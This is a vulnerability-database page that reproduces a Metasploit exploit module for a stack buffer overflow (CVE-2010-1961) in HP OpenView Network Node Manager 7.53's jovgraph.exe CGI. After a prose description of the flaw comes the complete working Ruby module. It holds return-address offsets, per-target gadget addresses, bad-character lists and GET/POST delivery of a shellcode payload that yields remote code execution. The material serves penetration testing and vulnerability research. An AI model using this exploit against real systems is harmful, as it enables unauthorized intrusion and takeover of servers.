HP OpenView Network Node Manager ovwebsnmpsrv.exe ovutil Buffer Overflow

2011-03-23T15:44:55
ID MSF:EXPLOIT/WINDOWS/HTTP/HP_NNM_OVWEBSNMPSRV_OVUTIL
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53 prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe' CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code. This vulnerability is triggerable via either a GET or POST request. It is interesting to note that this vulnerability cannot be exploited by overwriting SEH, since attempting to would trigger CVE-2010-1964. The vulnerable code is within a sub-function called from "main" within "ovwebsnmpsrv.exe" with a timestamp prior to April 7th, 2010. This function contains a 256 byte stack buffer which is passed to the "getProxiedStorageAddress" function within ovutil.dll. When processing the address results in an error, the buffer is overflowed in a call to sprintf_new. There are no stack cookies present, so exploitation is easily achieved by overwriting the saved return address. There exists some unreliability when running this exploit. It is not completely clear why at this time, but may be related to OVWDB or session management. Also, on some attempts OV NNM may report invalid characters in the URL. It is not clear what is causing this either.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP OpenView Network Node Manager ovwebsnmpsrv.exe ovutil Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
        prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'
        CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.

        This vulnerability is triggerable via either a GET or POST request. It is interesting to
        note that this vulnerability cannot be exploited by overwriting SEH, since attempting
        to would trigger CVE-2010-1964.

        The vulnerable code is within a sub-function called from "main" within "ovwebsnmpsrv.exe"
        with a timestamp prior to April 7th, 2010. This function contains a 256 byte stack buffer
        which is passed to the "getProxiedStorageAddress" function within ovutil.dll. When
        processing the address results in an error, the buffer is overflowed in a call to sprintf_new.
        There are no stack cookies present, so exploitation is easily achieved by overwriting the
        saved return address.

        There exists some unreliability when running this exploit. It is not completely clear why
        at this time, but may be related to OVWDB or session management. Also, on some attempts
        OV NNM may report invalid characters in the URL. It is not clear what is causing this
        either.
      } ,
      'Author'         =>
        [
          'jduck'   # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-1961' ],
          [ 'OSVDB', '65428' ],
          [ 'BID', '40638' ],
          [ 'ZDI', '10-106' ],
          [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 512, # 256 byte buffer..
          # In addition to regular HTTP type bad chars, this one also has
          # an issue with " since the buffer is being passed on the command line.
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x22\x24\x2c\x3b\x60",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
          'DisableNops' => true,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'HP OpenView Network Node Manager 7.53 w/NNM_01201',
            {
              'PopPopRet' => 0x5a02aadf, # pop edx/pop ebp/ret - in ov.dll (v1.30.10.9166)
              'JmpEsp' => 0x5a219880,    # jmp esp - in ovsnmp.dll (v1.30.10.9166)
            }
          ],
          [ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
            {
              'PopPopRet' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
              'JmpEsp' => 0x5a219880,    # jmp esp - in ovsnmp.dll (v1.30.10.9166)
            }
          ],
          [ 'Debug Target',
            {
              'PopPopRet' => 0xdeadbeef, # crasher
              'JmpEsp' => 0xbeefcafe
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 16 2010'))
  end

  def exploit

    print_status("Trying target #{target.name}...")

    cgi = '/OvCgi/jovgraph.exe'

    # Any command line parameter will cause a buffer overflow.

    # "action" must be set
    action = rand_text_alphanumeric(1)

    # "sel" must be set
    sel = rand_text_alphanumeric(1)

    # "timestamp" cannot be set.

    start = 'No entry for '

    ret_offset = 256 + 4 + 12 + 4

    # Create the buffer
    buf = ''
    buf << rand_text(ret_offset - start.length)
    buf << [target['PopPopRet']].pack('V')
    buf << [0x5a400141].pack('V') # ptr to zero
    buf << [0x5a459fdc].pack('V') # ptr to writable scratch
    buf << [target['JmpEsp']].pack('V')
    #buf << "\xcc"
    buf << payload.encoded

    # Ugh, triggers cve-2010-1964
    #buf = pattern_create(1456)

    # Send the request
    if rand(2) > 0
      print_status("Sending exploit via POST request...")
      res = send_request_cgi({
        'uri'		  => cgi,
        'method'	  => "POST",
        'vars_post' =>
          {
            'sel' => sel,
            'act' => action,
            'arg' => buf
          }
      }, 3)
    else
      print_status("Sending exploit via GET request...")
      res = send_request_cgi({
        'uri'		  => cgi,
        'method'	  => "GET",
        'vars_get' =>
          {
            'sel' => sel,
            'act' => action,
            'arg' => buf
          }
      }, 3)
    end

    if not res
      fail_with(Failure::Unknown, "Eek! We didn't get a response.. Exploiting this vuln should return one!")
    end

    print_status(res.body) if datastore["NNM_DEBUG"]

    if res.body =~ /graphing applet is being/
      print_status("We got the body we were looking for, the session should be coming any second.")
    else
      fail_with(Failure::Unknown, "Eek, exploit likely failed. The body didn't contain what we expected.")
    end

    handler

  end

  def wfs_delay
    5
  end
end